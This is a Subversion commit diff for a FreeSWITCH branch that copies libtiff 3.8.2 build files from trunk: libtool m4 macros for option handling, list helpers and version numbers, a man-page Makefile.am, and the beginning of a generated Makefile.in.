+++ freeswitch/branches/seven/libs/tiff-3.8.2/m4/ltoptions.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,380 @@
+# Helper functions for option handling.                    -*- Autoconf -*-
+
+# Copyright (C) 2004, 2005 Free Software Foundation, Inc.
+# Written by Gary V. Vaughan <gary@gnu.org>
+#
+# This file is free software; the Free Software Foundation gives
+# unlimited permission to copy and/or distribute it, with or without
+# modifications, as long as this notice is preserved.
+
+# serial 3 ltoptions.m4
+
+# This is to help aclocal find these macros, as it can't see m4_define.
+AC_DEFUN([LTOPTIONS_VERSION], [m4_if([1])])
+
+
+# _LT_MANGLE_OPTION(NAME)
+# -----------------------
+m4_define([_LT_MANGLE_OPTION],
+[[_LT_OPTION_]m4_bpatsubst($1, [[^a-zA-Z0-9_]], [_])])
+
+
+# _LT_SET_OPTION(NAME)
+# --------------------
+# Set option NAME, and if there is a matching handler defined,
+# dispatch to it.  Other NAMEs are saved as a flag.
+m4_define([_LT_SET_OPTION],
+[m4_define(_LT_MANGLE_OPTION([$1]))dnl
+m4_ifdef(_LT_MANGLE_DEFUN([$1]),
+        _LT_MANGLE_DEFUN([$1]),
+    [m4_warning([Unknown Libtool option `$1'])])[]dnl
+])
+
+
+# _LT_IF_OPTION(OPTION, IF-SET, [IF-NOT-SET])
+# -------------------------------------------
+# Execute IF-SET if OPTION is set, IF-NOT-SET otherwise.
+m4_define([_LT_IF_OPTION],
+[m4_ifdef(_LT_MANGLE_OPTION([$1]), [$2], [$3])])
+
+
+# _LT_UNLESS_OPTIONS(OPTIONS, IF-NOT-SET)
+# ---------------------------------------
+# Execute IF-NOT-SET if all OPTIONS are not set.
+m4_define([_LT_UNLESS_OPTIONS],
+[m4_foreach([_LT_Option], m4_split(m4_normalize([$1])),
+	    [m4_ifdef(_LT_MANGLE_OPTION(_LT_Option),
+		      [m4_define([$0_found])])])[]dnl
+m4_ifdef([$0_found], [m4_undefine([$0_found])], [$2
+])[]dnl
+])
+
+
+# _LT_SET_OPTIONS(OPTIONS)
+# ------------------------
+# OPTIONS is a space-separated list of Libtool options.
+# If any OPTION has a handler macro declared with LT_OPTION_DEFINE,
+# dispatch to that macro; otherwise complain about the unknown option
+# and exit.
+m4_defun([_LT_SET_OPTIONS],
+[# Set options
+m4_foreach([_LT_Option], m4_split(m4_normalize([$1])),
+    [_LT_SET_OPTION(_LT_Option)])
+dnl
+dnl Simply set some default values (i.e off) if boolean options were not
+dnl specified:
+_LT_UNLESS_OPTIONS([dlopen], [enable_dlopen=no
+])
+_LT_UNLESS_OPTIONS([win32-dll], [enable_win32_dll=no
+])
+dnl
+dnl If no reference was made to various pairs of opposing options, then
+dnl we run the default mode handler for the pair.  For example, if neither
+dnl `shared' nor `disable-shared' was passed, we enable building of shared
+dnl archives by default:
+_LT_UNLESS_OPTIONS([shared disable-shared], [_LT_ENABLE_SHARED])
+_LT_UNLESS_OPTIONS([static disable-static], [_LT_ENABLE_STATIC])
+_LT_UNLESS_OPTIONS([pic-only no-pic], [_LT_WITH_PIC])
+_LT_UNLESS_OPTIONS([fast-install disable-fast-install],
+		   [_LT_ENABLE_FAST_INSTALL])
+])# _LT_SET_OPTIONS
+
+
+## --------------------------------- ##
+## Macros to handle LT_INIT options. ##
+## --------------------------------- ##
+
+m4_define([_LT_MANGLE_DEFUN],
+[[_LT_OPTION_DEFUN_]m4_bpatsubst(m4_toupper([$1]), [[^A-Z0-9_]], [_])])
+
+
+# LT_OPTION_DEFINE(NAME, CODE)
+# ----------------------------
+m4_define([LT_OPTION_DEFINE],
+[m4_define(_LT_MANGLE_DEFUN([$1]), [$2])[]dnl
+])# LT_OPTION_DEFINE
+
+
+# dlopen
+# ------
+LT_OPTION_DEFINE([dlopen], [enable_dlopen=yes
+])
+
+AU_DEFUN([AC_LIBTOOL_DLOPEN],
+[_LT_SET_OPTION([dlopen])
+AC_DIAGNOSE([obsolete],
+[$0: Remove this warning and the call to _LT_SET_OPTION when you
+put the `dlopen' option into LT_INIT's first parameter.])
+])
+
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AC_LIBTOOL_DLOPEN], [])
+
+
+# win32-dll
+# ---------
+# Declare package support for building win32 dll's.
+LT_OPTION_DEFINE([win32-dll],
+[enable_win32_dll=yes
+
+case $host in
+*-*-cygwin* | *-*-mingw* | *-*-pw32*)
+  AC_CHECK_TOOL(AS, as, false)
+  AC_CHECK_TOOL(DLLTOOL, dlltool, false)
+  AC_CHECK_TOOL(OBJDUMP, objdump, false)
+  ;;
+esac
+
+test -z "$AS" && AS=as
+_LT_DECL([], [AS],      [0], [Assembler program])dnl
+
+test -z "$DLLTOOL" && DLLTOOL=dlltool
+_LT_DECL([], [DLLTOOL], [0], [DLL creation program])dnl
+
+test -z "$OBJDUMP" && OBJDUMP=objdump
+_LT_DECL([], [OBJDUMP], [0], [Object dumper program])dnl
+])# win32-dll
+
+AU_DEFUN([AC_LIBTOOL_WIN32_DLL],
+[_LT_SET_OPTION([win32-dll])
+AC_DIAGNOSE([obsolete],
+[$0: Remove this warning and the call to _LT_SET_OPTION when you
+put the `win32-dll' option into LT_INIT's first parameter.])
+])
+
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AC_LIBTOOL_WIN32_DLL], [])
+
+
+# _LT_ENABLE_SHARED([DEFAULT])
+# ----------------------------
+# implement the --enable-shared flag, and supports the `shared' and
+# `disable-shared' LT_INIT options.
+# DEFAULT is either `yes' or `no'.  If omitted, it defaults to `yes'.
+m4_define([_LT_ENABLE_SHARED],
+[m4_define([_LT_ENABLE_SHARED_DEFAULT], [m4_if($1, no, no, yes)])dnl
+AC_ARG_ENABLE([shared],
+    [AS_HELP_STRING([--enable-shared@<:@=PKGS@:>@],
+	[build shared libraries @<:@default=]_LT_ENABLE_SHARED_DEFAULT[@:>@])],
+    [p=${PACKAGE-default}
+    case $enableval in
+    yes) enable_shared=yes ;;
+    no) enable_shared=no ;;
+    *)
+      enable_shared=no
+      # Look at the argument we got.  We use all the common list separators.
+      lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
+      for pkg in $enableval; do
+	IFS="$lt_save_ifs"
+	if test "X$pkg" = "X$p"; then
+	  enable_shared=yes
+	fi
+      done
+      IFS="$lt_save_ifs"
+      ;;
+    esac],
+    [enable_shared=]_LT_ENABLE_SHARED_DEFAULT)
+
+    _LT_DECL([build_libtool_libs], [enable_shared], [0],
+	[Whether or not to build shared libraries])
+])# _LT_ENABLE_SHARED
+
+LT_OPTION_DEFINE([shared], [_LT_ENABLE_SHARED([yes])])
+LT_OPTION_DEFINE([disable-shared], [_LT_ENABLE_SHARED([no])])
+
+# Old names:
+AU_DEFUN([AC_ENABLE_SHARED],
+[_LT_SET_OPTION([shared])
+AC_DIAGNOSE([obsolete],
+[$0: Remove this warning and the call to _LT_SET_OPTION when you
+put the `shared' option into LT_INIT's first parameter.])
+])
+
+AU_DEFUN([AM_ENABLE_SHARED],
+[_LT_SET_OPTION([shared])
+AC_DIAGNOSE([obsolete],
+[$0: Remove this warning and the call to _LT_SET_OPTION when you
+put the `shared' option into LT_INIT's first parameter.])
+])
+
+AU_DEFUN([AC_DISABLE_SHARED],
+[_LT_SET_OPTION([disable-shared])
+AC_DIAGNOSE([obsolete],
+[$0: Remove this warning and the call to _LT_SET_OPTION when you put
+the `disable-shared' option into LT_INIT's first parameter.])
+])
+
+AU_DEFUN([AM_DISABLE_SHARED],
+[_LT_SET_OPTION([disable-shared])
+AC_DIAGNOSE([obsolete],
+[$0: Remove this warning and the call to _LT_SET_OPTION when you put
+the `disable-shared' option into LT_INIT's first parameter.])
+])
+
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AC_ENABLE_SHARED], [])
+dnl AC_DEFUN([AM_ENABLE_SHARED], [])
+dnl AC_DEFUN([AC_DISABLE_SHARED], [])
+dnl AC_DEFUN([AM_DISABLE_SHARED], [])
+
+
+
+# _LT_ENABLE_STATIC([DEFAULT])
+# ----------------------------
+# implement the --enable-static flag, and support the `static' and
+# `disable-static' LT_INIT options.
+# DEFAULT is either `yes' or `no'.  If omitted, it defaults to `yes'.
+m4_define([_LT_ENABLE_STATIC],
+[m4_define([_LT_ENABLE_STATIC_DEFAULT], [m4_if($1, no, no, yes)])dnl
+AC_ARG_ENABLE([static],
+    [AS_HELP_STRING([--enable-static@<:@=PKGS@:>@],
+	[build static libraries @<:@default=]_LT_ENABLE_STATIC_DEFAULT[@:>@])],
+    [p=${PACKAGE-default}
+    case $enableval in
+    yes) enable_static=yes ;;
+    no) enable_static=no ;;
+    *)
+     enable_static=no
+      # Look at the argument we got.  We use all the common list separators.
+      lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
+      for pkg in $enableval; do
+	IFS="$lt_save_ifs"
+	if test "X$pkg" = "X$p"; then
+	  enable_static=yes
+	fi
+      done
+      IFS="$lt_save_ifs"
+      ;;
+    esac],
+    [enable_static=]_LT_ENABLE_STATIC_DEFAULT)
+
+    _LT_DECL([build_old_libs], [enable_static], [0],
+	[Whether or not to build static libraries])
+])# _LT_ENABLE_STATIC
+
+LT_OPTION_DEFINE([static], [_LT_ENABLE_STATIC([yes])])
+LT_OPTION_DEFINE([disable-static], [_LT_ENABLE_STATIC([no])])
+
+# Old names:
+AU_DEFUN([AC_ENABLE_STATIC],
+[_LT_SET_OPTION([static])
+AC_DIAGNOSE([obsolete],
+[$0: Remove this warning and the call to _LT_SET_OPTION when you
+put the `static' option into LT_INIT's first parameter.])
+])
+
+AU_DEFUN([AM_ENABLE_STATIC],
+[_LT_SET_OPTION([static])
+AC_DIAGNOSE([obsolete],
+[$0: Remove this warning and the call to _LT_SET_OPTION when you
+put the `static' option into LT_INIT's first parameter.])
+])
+
+AU_DEFUN([AC_DISABLE_STATIC],
+[_LT_SET_OPTION([disable-static])
+AC_DIAGNOSE([obsolete],
+[$0: Remove this warning and the call to _LT_SET_OPTION when you put
+the `disable-static' option into LT_INIT's first parameter.])
+])
+
+AU_DEFUN([AM_DISABLE_STATIC],
+[_LT_SET_OPTION([disable-static])
+AC_DIAGNOSE([obsolete],
+[$0: Remove this warning and the call to _LT_SET_OPTION when you put
+the `disable-static' option into LT_INIT's first parameter.])
+])
+
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AC_ENABLE_STATIC], [])
+dnl AC_DEFUN([AM_ENABLE_STATIC], [])
+dnl AC_DEFUN([AC_DISABLE_STATIC], [])
+dnl AC_DEFUN([AM_DISABLE_STATIC], [])
+
+
+
+# _LT_ENABLE_FAST_INSTALL([DEFAULT])
+# ----------------------------------
+# implement the --enable-fast-install flag, and support the `fast-install'
+# and `disable-fast-install' LT_INIT options.
+# DEFAULT is either `yes' or `no'.  If omitted, it defaults to `yes'.
+m4_define([_LT_ENABLE_FAST_INSTALL],
+[m4_define([_LT_ENABLE_FAST_INSTALL_DEFAULT], [m4_if($1, no, no, yes)])dnl
+AC_ARG_ENABLE([fast-install],
+    [AS_HELP_STRING([--enable-fast-install@<:@=PKGS@:>@],
+    [optimize for fast installation @<:@default=]_LT_ENABLE_FAST_INSTALL_DEFAULT[@:>@])],
+    [p=${PACKAGE-default}
+    case $enableval in
+    yes) enable_fast_install=yes ;;
+    no) enable_fast_install=no ;;
+    *)
+      enable_fast_install=no
+      # Look at the argument we got.  We use all the common list separators.
+      lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
+      for pkg in $enableval; do
+	IFS="$lt_save_ifs"
+	if test "X$pkg" = "X$p"; then
+	  enable_fast_install=yes
+	fi
+      done
+      IFS="$lt_save_ifs"
+      ;;
+    esac],
+    [enable_fast_install=]_LT_ENABLE_FAST_INSTALL_DEFAULT)
+
+_LT_DECL([fast_install], [enable_fast_install], [0],
+	 [Whether or not to optimize for fast installation])dnl
+])# _LT_ENABLE_FAST_INSTALL
+
+LT_OPTION_DEFINE([fast-install], [_LT_ENABLE_FAST_INSTALL([yes])])
+LT_OPTION_DEFINE([disable-fast-install], [_LT_ENABLE_FAST_INSTALL([no])])
+
+# Old names:
+AU_DEFUN([AC_ENABLE_FAST_INSTALL],
+[_LT_SET_OPTION([fast-install])
+AC_DIAGNOSE([obsolete],
+[$0: Remove this warning and the call to _LT_SET_OPTION when you put
+the `fast-install' option into LT_INIT's first parameter.])
+])
+
+AU_DEFUN([AC_DISABLE_FAST_INSTALL],
+[_LT_SET_OPTION([disable-fast-install])
+AC_DIAGNOSE([obsolete],
+[$0: Remove this warning and the call to _LT_SET_OPTION when you put
+the `disable-fast-install' option into LT_INIT's first parameter.])
+])
+
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AC_ENABLE_FAST_INSTALL], [])
+dnl AC_DEFUN([AM_DISABLE_FAST_INSTALL], [])
+
+
+# _LT_WITH_PIC([MODE])
+# --------------------
+# implement the --with-pic flag, and support the `pic-only' and `no-pic'
+# LT_INIT options.
+# MODE is either `yes' or `no'.  If omitted, it defaults to `both'.
+m4_define([_LT_WITH_PIC],
+[AC_ARG_WITH([pic],
+    [AS_HELP_STRING([--with-pic],
+	[try to use only PIC/non-PIC objects @<:@default=use both@:>@])],
+    [pic_mode="$withval"],
+    [pic_mode=default])
+
+test -z "$pic_mode" && pic_mode=m4_default([$1], [default])
+
+_LT_DECL([], [pic_mode], [0], [What type of objects to build])dnl
+])# _LT_WITH_PIC
+
+LT_OPTION_DEFINE([pic-only], [_LT_WITH_PIC([yes])])
+LT_OPTION_DEFINE([no-pic], [_LT_WITH_PIC([no])])
+
+# Old name:
+AU_DEFUN([AC_LIBTOOL_PICMODE],
+[_LT_SET_OPTION([pic-only])
+AC_DIAGNOSE([obsolete],
+[$0: Remove this warning and the call to _LT_SET_OPTION when you
+put the `pic-only' option into LT_INIT's first parameter.])
+])
+
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AC_LIBTOOL_PICMODE], [])

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/m4/ltsugar.m4

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/m4/ltsugar.m4 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/m4/ltsugar.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/m4/ltsugar.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/m4/ltsugar.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,111 @@
+# ltsugar.m4 -- libtool m4 base layer.                         -*-Autoconf-*-
+#
+# Copyright (C) 2004, 2005 Free Software Foundation, Inc.
+# Written by Gary V. Vaughan.
+#
+# This file is free software; the Free Software Foundation gives
+# unlimited permission to copy and/or distribute it, with or without
+# modifications, as long as this notice is preserved.
+
+# serial 3 ltsugar.m4
+
+# This is to help aclocal find these macros, as it can't see m4_define.
+AC_DEFUN([LTSUGAR_VERSION], [m4_if([0.1])])
+
+
+# lt_join(SEP, ARG1, [ARG2...])
+# -----------------------------
+# Produce ARG1SEPARG2...SEPARGn, omitting [] arguments and their
+# associated separator.
+m4_define([lt_join],
+[m4_case([$#],
+	 [0], [m4_fatal([$0: too few arguments: $#])],
+	 [1], [],
+	 [2], [[$2]],
+	 [m4_ifval([$2],
+	 	   [[$2][]m4_foreach(_lt_Arg, lt_car([m4_shiftn(2, $@)]),
+	                   [_$0([$1], _lt_Arg)])],
+		   [$0([$1], m4_shiftn(2, $@))])])[]dnl
+])
+m4_define([_lt_join],
+[m4_ifval([$2],[$1][$2])[]dnl
+])
+
+
+# lt_car(LIST)
+# lt_cdr(LIST)
+# ------------
+# Manipulate m4 lists.
+# These macros are necessary as long as will still need to support
+# Autoconf-2.59 which quotes differently.
+m4_define([lt_car], [[$1]])
+m4_define([lt_cdr],
+[m4_if([$#], 0, [m4_fatal([$0: cannot be called without arguments])],
+       [$#], 1, [],
+       [m4_dquote(m4_shift($@))])])
+m4_define([lt_unquote], $1)
+
+
+# lt_combine(SEP, PREFIX-LIST, INFIX, SUFFIX1, [SUFFIX2...])
+# ----------------------------------------------------------
+# Produce a SEP delimited list of all paired combinations of elements of
+# PREFIX-LIST with SUFFIX1 through SUFFIXn.  Each element of the list
+# has the form PREFIXmINFIXSUFFIXn.
+m4_define([lt_combine],
+[m4_if([$2], [], [],
+  [m4_if([$4], [], [],
+    [lt_join(m4_quote(m4_default([$1], [[, ]])),
+      lt_unquote(m4_split(m4_normalize(m4_foreach(_Lt_prefix, [$2],
+       		   [m4_foreach(_Lt_suffix, lt_car([m4_shiftn(3, $@)]),
+		   	       [_Lt_prefix[]$3[]_Lt_suffix ])])))))])])dnl
+])
+
+
+# lt_if_append_uniq(MACRO-NAME, VARNAME, [SEPARATOR], [UNIQ], [NOT-UNIQ])
+# -----------------------------------------------------------------------
+# Iff MACRO-NAME does not yet contain VARNAME, then append it (delimited
+# by SEPARATOR if supplied) and expand UNIQ, else NOT-UNIQ.
+m4_define([lt_if_append_uniq],
+[m4_ifdef([$1],
+	[m4_bmatch($3[]m4_defn([$1])$3, $3[]m4_re_escape([$2])$3,
+		[$5],
+	    [m4_append([$1], [$2], [$3])$4])],
+    [m4_append([$1], [$2], [$3])$4])])
+
+
+# lt_dict_add(DICT, KEY, VALUE)
+# -----------------------------
+m4_define([lt_dict_add],
+[m4_define([$1($2)], [$4])])
+
+
+# lt_dict_add_subkey(DICT, KEY, SUBKEY, VALUE)
+# --------------------------------------------
+m4_define([lt_dict_add_subkey],
+[m4_define([$1($2:$3)], [$4])])
+
+
+# lt_dict_fetch(DICT, KEY, [SUBKEY])
+# ----------------------------------
+m4_define([lt_dict_fetch],
+[m4_ifval([$3],
+	m4_ifdef([$1($2:$3)], [m4_defn([$1($2:$3)])]),
+    m4_ifdef([$1($2)], [m4_defn([$1($2)])]))])
+
+
+# lt_if_dict_fetch(DICT, KEY, [SUBKEY], VALUE, IF-TRUE, [IF-FALSE])
+# -----------------------------------------------------------------
+m4_define([lt_if_dict_fetch],
+[m4_if(lt_dict_fetch([$1], [$2], [$3]), [$4],
+	[$5],
+    [$6])])
+
+
+# lt_dict_filter(DICT, [SUBKEY], VALUE, [SEPARATOR], KEY, [...])
+# --------------------------------------------------------------
+m4_define([lt_dict_filter],
+[m4_if([$5], [], [],
+  [lt_join(m4_quote(m4_default([$4], [[, ]])),
+           lt_unquote(m4_split(m4_normalize(m4_foreach(_Lt_key, lt_car([m4_shiftn(4, $@)]),
+		      [lt_if_dict_fetch([$1], _Lt_key, [$2], [$3], [_Lt_key ])])))))])[]dnl
+])

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/m4/ltversion.m4

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/m4/ltversion.m4 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/m4/ltversion.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/m4/ltversion.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/m4/ltversion.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,23 @@
+# ltversion.m4 -- version numbers			-*- Autoconf -*-
+#
+# Copyright (C) 2004 Free Software Foundation, Inc.
+# Written by Scott James Remnant.
+#
+## This file is free software; the Free Software Foundation gives
+# unlimited permission to copy and/or distribute it, with or without
+# modifications, as long as this notice is preserved.
+
+# Generated from ltversion.in; do not edit by hand
+
+# serial 2248 ltversion.m4
+# This file is part of GNU Libtool
+
+m4_define([LT_PACKAGE_VERSION], [2.1a])
+m4_define([LT_PACKAGE_REVISION], [1.2248])
+
+AC_DEFUN([LTVERSION_VERSION],
+[macro_version='2.1a'
+macro_revision='1.2248'
+_LT_DECL(, macro_version, 0, [Which release of libtool.m4 was used?])
+_LT_DECL(, macro_revision, 0)
+])

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/man


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,91 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+dist_man1_MANS = \
+	bmp2tiff.1 \
+	fax2ps.1 \
+	fax2tiff.1 \
+	gif2tiff.1 \
+	pal2rgb.1 \
+	ppm2tiff.1 \
+	ras2tiff.1 \
+	raw2tiff.1 \
+	rgb2ycbcr.1 \
+	sgi2tiff.1 \
+	thumbnail.1 \
+	tiff2bw.1 \
+	tiff2pdf.1 \
+	tiff2ps.1 \
+	tiff2rgba.1 \
+	tiffcmp.1 \
+	tiffcp.1 \
+	tiffdither.1 \
+	tiffdump.1 \
+	tiffgt.1 \
+	tiffinfo.1 \
+	tiffmedian.1 \
+	tiffset.1 \
+	tiffsplit.1 \
+	tiffsv.1
+
+dist_man3_MANS = \
+	libtiff.3tiff \
+	TIFFbuffer.3tiff \
+	TIFFClose.3tiff \
+	TIFFcodec.3tiff \
+	TIFFcolor.3tiff \
+	TIFFDataWidth.3tiff \
+	TIFFError.3tiff \
+	TIFFFlush.3tiff \
+	TIFFGetField.3tiff \
+	TIFFmemory.3tiff \
+	TIFFOpen.3tiff \
+	TIFFPrintDirectory.3tiff \
+	TIFFquery.3tiff \
+	TIFFReadDirectory.3tiff \
+	TIFFReadEncodedStrip.3tiff \
+	TIFFReadEncodedTile.3tiff \
+	TIFFReadRawStrip.3tiff \
+	TIFFReadRawTile.3tiff \
+	TIFFReadRGBAImage.3tiff \
+	TIFFReadRGBAStrip.3tiff \
+	TIFFReadRGBATile.3tiff \
+	TIFFReadScanline.3tiff \
+	TIFFReadTile.3tiff \
+	TIFFRGBAImage.3tiff \
+	TIFFSetDirectory.3tiff \
+	TIFFSetField.3tiff \
+	TIFFsize.3tiff \
+	TIFFstrip.3tiff \
+	TIFFswab.3tiff \
+	TIFFtile.3tiff \
+	TIFFWarning.3tiff \
+	TIFFWriteDirectory.3tiff \
+	TIFFWriteEncodedStrip.3tiff \
+	TIFFWriteEncodedTile.3tiff \
+	TIFFWriteRawStrip.3tiff \
+	TIFFWriteRawTile.3tiff \
+	TIFFWriteScanline.3tiff \
+	TIFFWriteTile.3tiff

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,553 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+subdir = man
+DIST_COMMON = $(dist_man1_MANS) $(dist_man3_MANS) \
+	$(srcdir)/Makefile.am $(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+SOURCES =
+DIST_SOURCES =
+man1dir = $(mandir)/man1
+am__installdirs = "$(DESTDIR)$(man1dir)" "$(DESTDIR)$(man3dir)"
+man3dir = $(mandir)/man3
+NROFF = nroff
+MANS = $(dist_man1_MANS) $(dist_man3_MANS)
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
